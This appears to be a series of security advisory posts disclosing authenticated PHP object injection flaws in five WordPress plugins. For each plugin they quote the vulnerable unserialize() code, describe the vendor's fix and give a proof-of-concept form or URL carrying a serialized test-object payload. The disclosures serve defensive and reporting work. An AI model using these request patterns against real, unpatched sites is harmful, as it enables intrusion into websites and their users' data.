06 Oct

Authenticated PHP Object Injection Vulnerability in Event List

Since June we have been doing proactive monitoring of changes made to plugins to try to catch serious vulnerabilities. So far that has lead to identifying existing vulnerabilities, newly introduced vulnerabilities, newly introduced vulnerabilities in brand new plugins, and vulnerabilities being fixed. For the first time it has lead to us identifying a vulnerability in a plugin that has been removed from the Plugin Directory. It appears the plugin has been through at least one review by the Plugin Directory team that doesn’t look to have caught this vulnerability. That in itself it is not major concern, but the fact that there doesn’t appear to be any publicly available info on the review process, which others could review and then provide suggestions for improvements that could be made, is more of an concern.

There clearly is room for improvement with review process as we have found that the reviews have failed to make sure that the vulnerabilities that caused plugins to removed have been fixed even when they may already be being exploited and also that the handling of those reviews has caused some developers to abandon plugins or abandon having their plugin in the Plugin Directory. The later happened with the very popular Contact Form DB plugin and lead to a lot of websites being less secure.

Since the developer of the plugin we found this vulnerability in, Event Listdoesn’t provide a method to privately disclose vulnerabilities the issues we found with it are now public, so we are providing the details here now even though they haven’t been fixed and the plugin is not currently available in the Plugin Directory.

The plugin makes its main admin page available to anyone with the “edit_posts” capability, which is normally contributor-level and above users:

48
add_menu_page(__('Event List','event-list'), __('Event List','event-list'), 'edit_posts', 'el_admin_main', array(&$this, 'show_main_page'), 'dashicons-calendar-alt', '22.2');

The function that is called when requesting the main page show_main_page() will then call the page show_main(). That function, located in the file /admin/includes/admin-main.php, checks if the user has the “edit_posts” capability (even though that has already been checked for) and then if the specified action is “import” it will run the function show_import():

77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
public function show_main() {
	// check permissions
	if(!current_user_can('edit_posts')) {
		wp_die(__('You do not have sufficient permissions to access this page.'));
	}
	// TODO: add check_admin_referer to improve security (see /wp-admin/edit.php)
	// is there POST data an event was edited must be updated
 
	// check for actions
	if($this->action) {
		switch($this->action) {
			// actions showing edit view
			case 'edit':
			case 'added':
			case 'modified':
				$this->show_edit_view($this->action);
				return;
			// actions showing import view
			case 'import':
				EL_Admin_Import::get_instance()->show_import();

That function show_import(), located in the file /admin/includes/admin-import.php, first again checks the user capability:

38
39
40
41
public function show_import() {
	if(!current_user_can('edit_posts')) {
		wp_die(__('You do not have sufficient permissions to access this page.'));
	}

Then a few lines down if the POST input “reviewed_events” exists the function import_events() will run:

51
52
elseif(isset($_POST['reviewed_events'])) {
	$import_error = $this->import_events();

The first thing that function, also located in the file /admin/includes/admin-import.php, does is unserialize the POST input “reviewed_events”, which permits PHP object injection to occur:

303
304
305
private function import_events() {
	// check used post parameters
	$reviewed_events = unserialize(stripslashes($_POST['reviewed_events']));

That means that there is an authenticated PHP object injection vulnerability accessible to contributor-level and above users. Nowhere in that code is there any protection against cross-site request forgery (CSRF), so the PHP object injection vulnerability is also exploitable that way. Also looking over the rest of the code handling imports into the plugin there is no CSRF protection, so in also in general the import functionality is susceptible to that type of vulnerability.

Update (October 9, 2017): Version 0.7.11 has been released, which resolves the PHP object injection issue by replacing usage of unserialize() with json_decode() (and replacing related usage of serialize() with json_encode()).

Proof of Concept

With our plugin for testing for PHP object injection installed and activated, the following proof of concept will cause the message “PHP object injection has occurred.” be shown, when logged in as a Contributor-level or above user.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin.php?page=el_admin_main&action=import" method="POST">
<input type="hidden" name="reviewed_events" value='O:20:"php_object_injection":0:{}' />
<input type="submit" value="Submit" />
</form>
</body>

Timeline

  • October 6, 2017 – Developer notified.
  • October 8, 2017 –  Version 0.7.11 released, which resolves the PHP object injection issue.
13 Sep

Authenticated PHP Object Injection Vulnerability in Media from FTP

We recently started proactively monitoring for evidence of some high risk vulnerabilities when changes are made to WordPress plugins and if we had more customers we could expand the proactive monitoring to more types of vulnerabilities. One of the types of vulnerabilities we are looking for are PHP object injection vulnerabilities since those are likely to be exploited if hackers become aware of them. Through that we came across an authenticated PHP object injection vulnerability in the plugin Media from FTP.

The plugin makes the function mediafromftp_medialibraryimport_update_callback() accessible through WordPress’ AJAX functionality to those logged in to WordPress (in the file /mediafromftp.php):

79
add_action( 'wp_ajax_'.$action2, array($mediafromftpajax, 'mediafromftp_medialibraryimport_update_callback') );

As of version 9.79, that function passed the POST input “db_wp_attachment_metadata” through the maybe_unserialize() function, which permits PHP object injection, if the user making the request has the “upload_files” capability and has access to the nonce “mediafromftp-import-ajax-action” (in the file /req/MediaFromFtpAjax.php):

156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
function mediafromftp_medialibraryimport_update_callback(){
 
	$action2 = 'mediafromftp-import-ajax-action';
	if ( isset( $_REQUEST['nonce'] ) && wp_verify_nonce( $_REQUEST['nonce'], $action2 ) ) {
		if ( current_user_can( 'upload_files' ) ) {
			$file = $_POST["file"];
			$filepath = str_replace(MEDIAFROMFTP_PLUGIN_UPLOAD_DIR.'/' , '', $file);
			if ( is_file($file) ) {
				if ( !empty($_POST["db_array"]) ) {
					$db_array = $_POST["db_array"];
					global $wpdb;
					$table_name = $wpdb->prefix.'posts';
					$wpdb->insert( $table_name, $db_array );
					update_attached_file( $db_array['ID'], $filepath ) ;
					if ( !empty($_POST["db_wp_attachment_metadata"]) ) {
						$metadata = maybe_unserialize(stripslashes($_POST["db_wp_attachment_metadata"]));

Normally Author-level and above users have the “upload_files”  capability. The nonce is accessible on the plugin’s admin pages, which are also accessible to users with the “upload_files” capability (in the file /req/MediaFromFtpAdmin.php):

76
77
78
79
80
81
82
83
add_menu_page(
		'Media from FTP',
		'Media from FTP',
		'upload_files',
		'mediafromftp',
		array($this, 'manage_page'),
		'dashicons-upload'
);

The day after we notified the developer of the vulnerability they released version 9.80, which fixes the vulnerability by using replacing the usage of maybe_unserialize() with json_decode().

Proof of Concept

With our plugin for testing for PHP object injection installed and activated, the following proof of concept will cause the message “PHP object injection has occurred.” to be shown, when logged in as a user that has the  “upload_files”  capability.

Make sure to replace “[path to WordPress]” with the location of WordPress and “[valid nonce]” with the value from the input “nonce” on the line that begins “var MEDIAFROMFTPIMPORT” on the page /wp-admin/admin.php?page=mediafromftp.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-ajax.php" method="POST">
<input type="hidden" name="action" value="mediafromftp-import-ajax-action" />
<input type="hidden" name="nonce" value="b90156c331" />
<input type="hidden" name="file" value="about.php" />
<input type="hidden" name="db_array" value="test" />
<input type="hidden" name="db_wp_attachment_metadata" value='O:20:"php_object_injection":0:{}' />
<input type="submit" value="Submit" />
</form>
</body>
</html>

Timeline

  • September 11, 2017 – Developer notified.
  • September 11, 2017 – Developer responds.
  • Version 9.80 released, which fixes vulnerability.
05 Sep

Authenticated PHP Object Injection Vulnerability in Media Library Assistant

We recently started proactively monitoring for evidence of some high risk vulnerabilities when changes are made to WordPress plugins and if we had more customers we could expand the proactive monitoring to more types of vulnerabilities. One of the types of vulnerabilities we are looking for are PHP object injection vulnerabilities since those are likely to be exploited if hackers become aware of them. Through that we came across an authenticated PHP object injection vulnerability in the plugin Media Library Assistant.

The plugin makes it’s Media Library Assistant page in the admin area viable to users with the upload_files capability, which is normally available to Author-level and above users (in the file /includes/class-mla-main.php):

441
$hook = add_submenu_page( 'upload.php', $page_title, $menu_title, 'upload_files', MLACore::ADMIN_PAGE_SLUG, 'MLA::mla_render_admin_page' );

When that page is accessed the function get_views() in the class MLA_List_Table, which is located in the file /includes/class-mla-list-table.php, will run. If a request is sent to the page without a GET or POST input “post_mime_type” and with a GET or POST input “meta_query” then value of “meta_query” will be unserialized, which permits PHP object injection to occur:

1787
1788
1789
1790
1791
1792
1793
1794
1795
1796
1797
1798
1799
function get_views( ) {
	/*
	 * Find current view
	 */
	if ( $this->detached  ) {
		$current_view = 'detached';
	} elseif ( $this->attached ) {
		$current_view = 'attached';
	} elseif ( $this->is_trash ) {
		$current_view = 'trash';
	} elseif ( empty( $_REQUEST['post_mime_type'] ) ) {
		if ( isset( $_REQUEST['meta_query'] ) ) {
			$query = unserialize( stripslashes( $_REQUEST['meta_query'] ) );

The vulnerability can also be exploited through cross-site request forgery (CSRF).

The developer put in fix for the vulnerability in the development version of the plugin the same day we notified them of it, but a new version still has yet to be released a month later. In line with our disclosure policy, which is based on the need to provide our customers with information on vulnerabilities on a timely basis, we are now disclosing this vulnerability.

Update 10/19/17: Version 2.6.1 has now been released, which fixes the vulnerability by replacing the usage of unserialize() with json_decode() (as well replacing related usage or serialize() with json_encode().

Proof of Concept

With our plugin for testing for PHP object injection installed and activated, visiting the following URL while logged in to WordPress as an Author-level user will cause the message “PHP object injection has occurred.” to be shown.

Make sure to replace “[path to WordPress]” with the location of WordPress.

http://[path to WordPress]/wp-admin/upload.php?page=mla-menu&meta_query=O:20:"php_object_injection":0:{}

Timeline

  • August 3, 2017 – Developer notified.
  • August 3, 2017 – Developer responds.
  • October 16, 2017 – Version 2.6.1 released, which fixes vulnerability.
30 Aug

Authenticated PHP Object Injection Vulnerability in Slimstat Analytics

We recently started proactively monitoring for evidence of some high risk vulnerabilities when changes are made to WordPress plugins and if we had more customers we could expand the proactive monitoring to more types of vulnerabilities. One of the types of vulnerabilities we are looking for are PHP object injection vulnerabilities since those are likely to be exploited if hackers become aware of them. Through that we came across an authenticated PHP object injection vulnerability in Slimstat Analytics.

The plugin normally only allows users with the “activate_plugins” capability, which would normally only be Administrators, to access the admin pages of the plugin, but in the settings it is possible to change the capability needed or to whitelist other users to be able to access them. There are two categories of pages that lower level users can be permitted access to reports and settings. Within what is accessible from either of those there has been a PHP object injection vulnerability.

The one available through the settings has been there longer, so let’s take a look at that.

When visiting the “Maintenance” tab of the plugin’s settings the file /admin/config/maintenance.php will be loaded. That file will check for a valid nonce and then can run a specified action:

3
4
5
6
7
8
9
10
11
if ( !function_exists( 'add_action' ) || ( !empty( $_POST ) &amp;&amp; !check_admin_referer( 'maintenance_wp_slimstat', 'maintenance_wp_slimstat_nonce' ) ) ) {
	exit( 0 );
}
 
require_once( dirname( dirname( __FILE__ ) ) . '/view/wp-slimstat-reports.php' );
wp_slimstat_reports::init();
 
if ( !empty( $_REQUEST[ 'action' ] ) ) {
	switch ( $_REQUEST[ 'action' ] ) {

For the “import-settings” action the value of the POST input “import-slimstat-settings” would be run through the serialize function, which permits PHP object injection to occur:

81
82
case 'import-settings':
	$new_settings = @unserialize( stripslashes( $_POST[ 'import-slimstat-settings' ] ) );

After we notified the developer of the issue the released version 4.7.1 of the plugin, which fixes the vulnerability by replacing the usage of unserialize() with json_decode() (as well replacing the usage of serialize() elsewhere with json_encode()):

82
$new_settings = @json_decode( stripslashes( $_POST[ 'import-slimstat-settings' ] ), true );

Proof of Concept

With our plugin for testing for PHP object injection installed and activated, the following proof of concept will cause the message “PHP object injection has occurred.” to be shown, when logged in as a user that can access the plugin’s settings.

Make sure to replace “[path to WordPress]” with the location of WordPress and “[valid nonce]” with the value from the input “maintenance_wp_slimstat_nonce” on the page /wp-admin/admin.php?page=slimconfig&tab=6.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin.php?page=slimconfig&tab=6" method="POST">
<input type="hidden" name="action" value="import-settings" />
<input type="hidden" name="maintenance_wp_slimstat_nonce" value=" [valid nonce]" />
<input type="hidden" name="import-slimstat-settings" value='O:20:"php_object_injection":0:{}' />
<input type="submit" value="Submit" />
</form>
</body>
</html>

Timeline

  • August 25, 2017 – Developer notified.
  • August 25, 2017 – Developer responds.
  • August 29, 2017 – Version 4.7.1 released, which fixes vulnerability.
02 Aug

Authenticated PHP Object Injection Vulnerability in Business Directory Plugin

We recently started proactively monitoring for evidence of some high risk vulnerabilities when changes are made to WordPress plugins and if we had more customers we could expand the proactive monitoring to more types of vulnerabilities. One of the types of vulnerabilities we are looking for are PHP object injection vulnerabilities since those are likely to be exploited if hackers become aware of them (unlike other types of vulnerabilities that security companies are known to overstate the impact of). Through that we came across an authenticated PHP object injection vulnerability in the plugin Business Directory Plugin.

The plugin makes the function ajax_csv_export() available to anyone logged in to WordPress through WordPress’ AJAX functionality (in the file /includes/admin/csv-export.php):

13
add_action( 'wp_ajax_wpbdp-csv-export', array( &$this, 'ajax_csv_export' ) );

This plugin requires user registration by default for a major piece of its functionality, so it is likely that fair number of the websites using it would allow untrusted individuals to create accounts.

As of version 4.1.14 that function would unserialize the value of the GET or POST input “state”, which can cause PHP object injection:

30
31
32
33
34
35
36
37
public function ajax_csv_export() {
	$error = '';
 
	try {
		if ( !isset( $_REQUEST['state'] ) ) {
			$export = new WPBDP_CSVExporter( array_merge( $_REQUEST['settings'], array() ) );
		} else {
			$export = WPBDP_CSVExporter::from_state( unserialize( base64_decode( $_REQUEST['state'] ) ) );

After we notified the developer of the issue they released version 4.1.14.1, which fixes the vulnerability by replacing the usage of the function unserialize() with json_decode() (and replaces the related usage of the serialize() with json_encode() elsewhere). They also added a restriction to limit access to the function to those logged in as Administrators:

30
31
32
33
34
35
36
37
38
39
40
41
public function ajax_csv_export() {
	if ( ! current_user_can( 'administrator' ) ) {
		exit();
	}
 
	$error = '';
 
	try {
		if ( ! isset( $_REQUEST['state'] ) ) {
			$export = new WPBDP_CSVExporter( array_merge( $_REQUEST['settings'], array() ) );
		} else {
			$state  = json_decode( base64_decode( $_REQUEST['state'] ), true );

Proof of Concept

With our plugin for testing for PHP object injection installed and activated, visiting the following URL while logged in to WordPress will cause the message “PHP object injection has occurred.” to be shown.

Make sure to replace “[path to WordPress]” with the location of WordPress.

http://[path to WordPress]/wp-admin/admin-ajax.php?action=wpbdp-csv-export&state=TzoyMDoicGhwX29iamVjdF9pbmplY3Rpb24iOjA6e30=

Timeline

  • July 31, 2017 – Developer notified.
  • August 2, 2017 – Version 4.1.14.1 released, which fixes vulnerability.